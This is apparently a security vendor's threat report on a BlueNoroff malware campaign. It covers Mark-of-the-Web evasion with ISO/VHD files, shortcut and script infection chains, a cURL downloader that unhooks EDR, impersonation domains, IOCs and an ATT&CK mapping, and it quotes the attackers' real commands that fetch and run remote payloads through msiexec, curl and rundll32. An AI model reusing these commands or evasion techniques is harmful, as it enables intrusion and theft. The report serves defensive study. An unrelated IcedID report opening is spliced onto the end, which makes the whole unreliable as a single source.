Executive summary BlueNoroff group introduced new file types to evade Mark-of-the-Web (MOTW) security measures; BleuNoroff group expanded file types and tweaked infection methods; BlueNoroff created numerous fake domains impersonating venture capital companies and banks.


Background At the end of September 2022, we observed new BlueNoroff malware in our telemetry.


After a careful investigation, we confirmed that the actor had adopted new techniques to convey the final payload.


The actor took advantage of several scripts, including Visual Basic Script and Windows Batch script.


They also started using disk image file formats, .iso


and .vhd, to deliver their malware.


For intermediate infection, the actor introduced a downloader to fetch and spawn the next stage payload.


Although the initial intrusion methods were very different in this campaign, the final payload that we had analyzed previously was used without significant changes.


Novel infection chain Long-lasting initial infection Based on our telemetry, we observed that one victim in the UAE was attacked using a malicious Word document.


The victim received a document file named “Shamjit Client Details Form.doc” on September 2, 2022.


Unfortunately, we couldn’t acquire the document, but it was executed from the following path: C:\Users\[username]\Desktop\SALES


OPS


[redacted]\[redacted]\Signed Forms & Income Docs\Shamjit


Client Details Form.doc Judging from the file path, we can assume that the victim was an employee in the sales department responsible for signing contracts.


Upon launch, the malicious document connects to the remote server and downloads the payload.


In this particular case, the executable ieinstal.exe was used to bypass UAC.


Remote URL: https://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= Created payload path:


%Profile%\cr.dat Spawned command: cmd.exe %Profile%\cr.dat 5pKwgIV5otiKb6JrNddaVJOaLjMkj4zED238vIU= After initial infection, we observed several keyboard hands-on activities by the operator.


Through the implanted backdoor, they attempted to fingerprint the victim and install additional malware with high privileges.


Upon infection, the operator executed several Windows commands to gather basic system information.


They then returned 18 hours later to install further malware with high privileges.


Post-exploitation Based on our telemetry, when the malicious Word document opens it fetches the next payload from the remote server: Download URL: http://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= The fetched payload is supposed to be saved in %Profile%\update.dll.


Eventually, the fetched file is spawned with the following commands: Command #1:


rundll32.exe %Profile%\update.dll,#1 5pOygIlrsNaAYqx8JNZSTouZNjo+j5XEFHzxqIIqpQ== Command #2:


rundll32.exe %Profile%\update.dll,#1 5oGygYVhos+IaqBlNdFaVJSfMiwhh4LCDn4=


One of the other methods the BlueNoroff group usually uses is a ZIP archive with a shortcut file.


The archive file we recently discovered contained a password-protected decoy document and a shortcut file named “Password.txt.lnk“.


This is a classic BlueNoroff strategy to persuade the victim to execute the malicious shortcut file to acquire the decoy document’s password.


The latest archive file (MD5 1e3df8ee796fc8a13731c6de1aed0818) discovered has a Japanese file name, 新しいボーナススケジュール.zip (Japanese for “New bonus schedule”), indicating they were interested in Japanese targets.


The main difference from the previous shortcut sample was that it fetched an additional script payload (Visual Basic Script or HTML Application); also, a different method of fetching and executing the next stage payload was adopted at this time.


The command below was executed when the victim double-clicked on the shortcut file:cmd.exe /c DeviceCredentialDeployment & echo jbusguid> %APPDATA%\Pass.txt & start %APPDATA%\Pass.txt && FOR %i IN (%systemroot%\system32\msiexec.*)


DO msiexec -c /Q /i


hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd & timeout To evade detection, the actor utilized Living Off the Land Binaries (LOLBins).


The DeviceCredentialDeployment execution is a well-known LOLBin used to hide the command’s windows.


The actor also abused the msiexe.exe file to silently launch the fetched Windows Installer file.


Updated method #1: Tricks to evade MOTW flag We observed that the actor examined different file types to deliver their malware.


Recently, many threat actors have adopted image files to avoid MOTW (Mark-of-the-Web).


In a nutshell, MOTW is a mitigation technique introduced by Microsoft.


The NTFS file system marks a file downloaded from the internet, and Windows handles the file in a safe way.


For example, when a Microsoft Office file is fetched from the internet, the OS opens it in Protected View, which restricts the execution of the embedded macro.


In order to avoid this mitigation technique, more threat actors have started abusing ISO file types.


The BlueNoroff group likely experimented with ISO image files to deliver their malware.


Although it’s still under development, we mention this sample as an early warning.


This ISO image file contains one PowerPoint slide show and one Visual Basic Script.


Embedded files of ISO image The Microsoft PowerPoint file contains a link.


When the user clicks the link, it executes the 1.vbs file through the WScript process.


When we checked the VBS file, it only generated an “ok” message, which suggests BlueNoroff is still experimenting with this method.<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="wscript%201.vbs" TargetMode="External"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target="../slideLayouts/slideLayout1.xml"/></Relationships> Based on our other findings, we discovered an in-the-wild sample (MD5 a17e9fc78706431ffc8b3085380fe29f) from VirusTotal.


At the time of analysis, this .vhd sample wasn’t detected by any antivirus.


The virtual disk file contains a decoy PDF file, Windows executable file, and an encrypted Dump.bin file.


The PDF and executable files have numerous spaces before the file extension to hide it and allay suspicions.


Files inside VHD a file The Job_Description[spaces].exe file (MD5 931d0969654af3f77fc1dab9e2bd66b1) is a loader that loads the next stage payload.


Upon launch, it copies the Dump.bin file to the %Templates%\war[current time][random value].bin (i.e., war166812964324445.bin).


The Dump.bin has a modified PE header.


The malware reads the first byte of Dump.bin, 0xAF in this file, and decodes 0x3E8 bytes with that key.


The decrypted data is the header of a PE file, overwriting the recovered header to the original file.


Eventually, it loads the decrypted DLL file by spawning the ordinary first export function.


The spawned downloader contains an encrypted configuration at the end of the file.


The malware first acquires the total size of the configuration data and the length of the payload URL from the end of the file.


They are located four bytes and eight bytes from the end of the file, respectively.


The malware decrypts the configuration data with the RC4 algorithm using an embedded 64-byte key.


RC4 key: 46 61 44 6D 38 43 74 42 48 37 57 36 36 30 77 6C 62 74 70 79 57 67 34 6A 79 4C 46 62 67 52 33 49 76 52 77 36 45 64 46 38 49 47 36 36 37 64 30 54 45 69 6D 7A 54 69 5A 36 61 42 74 65 69 67 50 33 Restored URL: hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D Structure of configuration In the case of another downloader, however, the payload URL was delivered using a command line parameter.


Also, some of the other downloaders (MD5 f766f97eb213d81bf15c02d4681c50a4) have functionality that checks the working environment.


If the size of physical memory is less than 2,147,483,648 bytes, the malware terminates execution.


Infection flow of downloader This downloader checks for the names of the following antivirus vendors:


Sophos, Kaspersky, Avast, Avira, Bitdefender, TrendMicro, and Windows Defender.


If TrendMicro, BitDefender, or Windows Defender products are installed, the malware conducts a classic unhooking DLL trick intended to remove user-mode hooks from the system library.


This evasion technique overwrites the .text section of the pre-loaded ntdll library with the freshly loaded one so that the hooked API addresses are recovered with the original API address.


With this trick, the malware can disable the functionalities of EDR/AV products.


Next, the malware creates a mutex to avoid duplicate execution.


Mutex name: da9f0e7dc6c52044fa29bea5337b4792b8b873373ba99ad816d5c9f5f275f03f Next, the malware opens a PDF decoy document in the same directory.


The decoy document masquerades as a job offer from a Japanese multinational bank.


If Windows Defender or Bitdefender Antivirus is installed on the victim’s computer, the malware executes itself with the following commands: Windows Defender: cmd /c


timeout /t 10 & Del /f /q


\”[current file name]\” & attrib -s


-h \”[PDF decoy file]\” & rundll32 \”[current DLL file path]\” #1 Bitdefender: cmd /c


timeout /t 10 & rundll32 \”[current DLL file path]\” #1 The primary objective of this malware is to fetch the next stage payload.


To do this, the malware uses the cURL library, combining cURL commands depending on the antivirus installed. Avira or Avast installed:


curl -A cur1-agent -L


[payload URL(| -x proxy URL)]


-s -d da Other cases: curl -A cur1-agent -L


-s -d dl Note that the user-agent name is “cur1-agent“, and the malware sends “da” POST data if the victim installed Avira or Avast; otherwise, the malware sends “dl” POST data.


If the fetched data by cURL command contains “<html>” and “curl:”, the malware decrypts the payload with a delivered 64-byte RC4 key.


If Avira or Avast are installed, the malware saves the decrypted payload to “%TEMPLATES%\marcoor.dll” and spawns it with the rundll32.exe command with the payload URL.


command: exe %TEMPLATES%\marcoor.dll #1 [payload URL] Otherwise, the malware doesn’t write the payload to the file and injects the fetched payload into the explorer.exe process.


The fetched payload is a DLL type executable and its export function is spawned with the “payload URL”.


Unfortunately, we haven’t been able to obtain a precise infection chain so far.


From our telemetry, however, we can confirm the victim was eventually compromised by backdoor-type malware.


Based on the malware’s static information, and parts of the internal code, we assess that the final payload is still very similar to the Persistence Backdoor #2[1] we described in our previous blog.


Updated method #2: Scripts and novel downloader


Additionally, we observed the download and launch of a suspicious batch file.


The actor exploited different LOLBins.


The malware execution is done using a legitimate script, SyncAppvPublishingServer.vbs, in the system folder.


This script is for executing the PowerShell script via


a Windows scheduled task.WScript.exe "%system32%\SyncAppvPublishingServer.vbs" "n;cmd.exe '/c curl perseus.bond/Dgy_0dU08lC/hCHEdlDFGV/P89bXhClww/uiOHK5H35B/bM%3D -A cur1-agent -o %public%\regsile.bat & start /b


%public%\regsile.bat'


We also observed the context around that batch file in our telemetry.


The batch file name is “What is Blockchain.bat“.


As the file name suggests, this group still targets the blockchain industry.


We acquired the scriptlet of the batch file.xcopy /h


/y /q


How-To-Extension.pdf c:\users\public\Inproc.exe* start xcopy


/h


/y


/q


Blockchain-old.pdf c:\users\public\rwinsta.exe* start c:\users\public\Inproc.exe "%cd%\Blockchain.pdf" The Inproc.exe is a legitimate mshta.exe file (MD5 0b4340ed812dc82ce636c00fa5c9bef2), and the rwinsta.exe is a legitimate rundll32.exe file (MD5 ef3179d498793bf4234f708d3be28633).


The Blockchain.pdf file is a malicious HTML application file spawned by the mshta.exe process.


Unfortunately, we don’t have the HTA script (Blockchain.pdf), but we can assume the functionality of the script based on our telemetry – showing the decoy document and fetching the next stage payload.


# Create a decoy password file and open it.


echo {PASSWORD}>%documents%\Userlink & notepad.exe %documents%\Userlink # Fetch the payload with cURL command and execute. cmd.exe" /c


timeout 10 & curl perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D -s -d md -A cur1-agent -o %documents%\macroor.dll& %documents%\macroor.dll #1 perseus.bond/VcIf1hLJopY/shU_pJgW2Y/NX4SoGYuka/iiOHK5H35B/bM%3D Also, we observed this group introduce a new Windows executable-type downloader at this time.


This malware (MD5 087407551649376d90d1743bac75aac8) spawns a fake password file while fetching a remote payload and executing it.


Upon execution, it creates a fake file (wae.txt) to show a password composed of the string ‘password’ and fetches a payload from the embedded URL and loads it.


This scheme, showing a password via notepad.exe, is a trick favored by the BlueNoroff group to avoid arousing the victim’s suspicion.


Usually, the password contains the password needed to open the supplied encrypted decoy document.


Simple downloader with fake password file It’s possible that the actor delivered the above Windows executable file in archive file format or disk image file format with an encrypted decoy document.


Infrastructure While carrying out this research we found several C2 servers used by the actor.


All the servers are hosted by VPS vendors as usual and several of them were resolved to the same IP address.


The domain registration could be traced back to earlier in 2021, so this is an ongoing operation by the adversary.


Domain IP ISP ASN offerings.cloud docs.azure-protection.cloud bankofamerica.us.org 104.168.174.80 Hostwinds LLC.


AS54290 perseus.bond avid.lno-prima.lol 104.168.249.50 Hostwinds LLC.


AS54290 offerings.cloud perseus.bond docs.azure-protection.cloud avid.lno-prima.lol 152.89.247.87 combahton GmbH AS30823 offerings.cloud 172.86.121.130 HIVELOCITY AS29802 www.capmarketreport.com 149.28.247.34 The Constant Company, LLC AS20473 ms.msteam.biz www.onlinecloud.cloud 155.138.159.45 The Constant Company, LLC AS20473 The actor usually used fake domains such as cloud hosting services for hosting malicious documents or payloads.


They also created fake domains disguised as legitimate companies in the financial industry and investment companies.


The domains, including pivoted domains, imitate venture capital names or big bank names.


Most of the companies are Japanese companies, indicating the actor has a keen interest in Japanese markets.


Malicious domains Genuine company Category of business Country beyondnextventures.co cloud.beyondnextventures.co Beyond Next Ventures (https://beyondnextventures.com) Venture capital firm Japan smbc.ltd smbcgroup.us smbc-vc.com Sumitomo Mitsui Banking Corporation (https://www.smbc.co.jp) Japanese multinational banking and financial services Japan cloud.mufg.tokyo mufg.tokyo Mitsubishi UFJ Financial Group (https://www.mufg.jp) Bank in Japan Japan vote.anobaka.info ANOBAKA (https://anobaka.jp) Venture capital firm Japan it.zvc.capital Z Venture Capital (https://zvc.vc) Venture capital firm Japan abf-cap.co ABF Capital (https://www.abf-cap.com)


Venture capital firm Japan angelbridge.capital Angel Bridge (https://www.angelbridge.jp) Venture capital firm Japan mizuhogroup.us careers.mizuhogroup.us Mizuho Financial Group (https://www.mizuhogroup.com) Banking holding company Japan bankofamerica.tel bankofamerica.nyc bankofamerica.us.org Bank of America (https://www.bankofamerica.com) Bank and financial services holding company USA tptf.us tptf.ltd Trans-Pacific Technology Fund (https://tptf.co) Venture capital firm Taiwan Victims As we described in the section ‘Long-lasting initial infection’, we discovered that one victim in the UAE, probably a home financing company, was compromised by classic BlueNoroff group malware.


This financially motivated threat actor has been attacking various cryptocurrency-related businesses lately, but also other financial companies, as in this case.


In addition, based on the domain naming and decoy documents, we assume, with low confidence, that the entities in Japan are on the radar of this group.


In one PowerPoint sample, we observed that the actor took advantage of a Japanese venture capital company.


Also, the samples we mentioned in the ‘Long-lasting initial infection’ section above were delivered to the victim with a Japanese file name, suggesting the target can read Japanese.


Decoy document Conclusion According to a recent report, the BlueNoroff group stole cryptocurrency worth millions using their cyberattack capabilities.


It shows that this group has a strong financial motivation and actually succeeds in making profits from their cyberattacks.


As we can see from our latest finding, this notorious actor has introduced slight modifications to deliver their malware.


This also suggests that attacks by this group are unlikely to decrease in the near future.


Indicators of compromise Downloader 087407551649376d90d1743bac75aac8 regsile.exe Cur1Agent downloader f766f97eb213d81bf15c02d4681c50a4 61a227bf4c5c1514f5cbd2f37d98ef5b 4c0fb06320d1b7ecf44ffd0442fc10ed d8f6290517c114e73e03ab30165098f6 Loader d3503e87df528ce3b07ca6d94d1ba9fc E:\Readme.exe 931d0969654af3f77fc1dab9e2bd66b1 Job_Description.


exe Malicious Virtual Disk File a17e9fc78706431ffc8b3085380fe29f Job_Description.vhd Zip file and unzipped malicious shortcut 1e3df8ee796fc8a13731c6de1aed0818 新しいボーナススケジュール.zip (New bonus schedule) 21e9ddd5753363c9a1f36240f989d3a9 Password.txt.lnk URLs hxxp://avid.lno-prima[.]lol/VcIf1hLJopY/shU_pJgW2Y/KvSuUJYGoa/sX+Xk4Go/gGhI= hxxp://avid.lno-prima[.]lol/NafqhbXR7KC/rTVCtCpxPH/kMjTqFDDNt/fiOHK5H35B/bM%3D hxxp://offerings[.]cloud/NafqhbXR7KC/rTVCtCpxPH/pdQTpFN6FC/Lhr_wXGXix/nQ%3D hxxps://docs.azure-protection[.]cloud/EMPxSKTgrr3/2CKnoSNLFF/0d6rQrBEMv/gGFroIw5_m/n9hLXkEOy3/wyQ%3D%3D hxxps://docs.azure-protection[.]cloud/%2BgFJKOpVX/4vRuFIaGlI/D%2BOfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://docs.azure-protection[.]cloud/+gFJKOpVX/4vRuFIaGlI/D+OfpTtg/YTN0TU1BNx/bMA5aGuZZP/ODq7aFQ%3D/%3D hxxps://bankofamerica.us[.]org/lsizTZCslJm/W+Ltv_Pa/qUi+KSaD/_rzNkkGuW6/cQHgsE= hxxps://www.capmarketreport[.]com/packageupd.msi?ccop=RoPbnVqYd Pivoted IP address 152.89.247.87 172.86.121.130 104.168.174.80 MITRE ATT&CK Mapping Tactic Technique Technique name Initial Access T1566.001 T1566.002


Phishing: Spearphishing Attachment Phishing: Spearphishing Link Execution T1059.003 T1059.005 T1204.001 T1204.002 Command and Scripting Interpreter:


Windows Command Shell Command and Scripting Interpreter:


Visual Basic User Execution: Malicious Link User Execution: Malicious File Persistence T1547.008 Boot or Logon Autostart Execution: LSASS Driver Defense Evasion T1027.002 T1497.001 T1055.002 T1553.005 T1218.007 T1218.011 T1221 Obfuscated Files or Information: Software Packing Virtualization/Sandbox Evasion:


System Checks Process Injection: Portable Executable Injection Subvert Trust Controls: Mark-of-the-Web Bypass System Binary Proxy Execution: Msiexec System Binary Proxy Execution: Rundll32 Template Injection Command and Control T1071.001 Application Layer Protocol: Web Protocols Exfiltration T1041 Exfiltration over C2 Channel


[1] APT Intel report: BlueNoroff Launched a New Campaign To Attack Cryptocurrency Business


Key Findings Proofpoint is tracking new variants of IcedID used by at least three threat actors.


Initial analysis suggests this is a forked version with potentially a separate panel for managing the malware.


While much of the code base is the same, there are several key differences.


One key difference is the removal of banking functionality such as web injects and backconnect.


Proofpoint researchers hypothesize the original operators behind Emotet are using an IcedID variant with different functionality.


Overview Proofpoint researchers have observed and documented, for the first time, three distinct variants of the malware known as IcedID.


Proofpoint calls the two new variants recently identified “Forked” and “Lite” IcedID.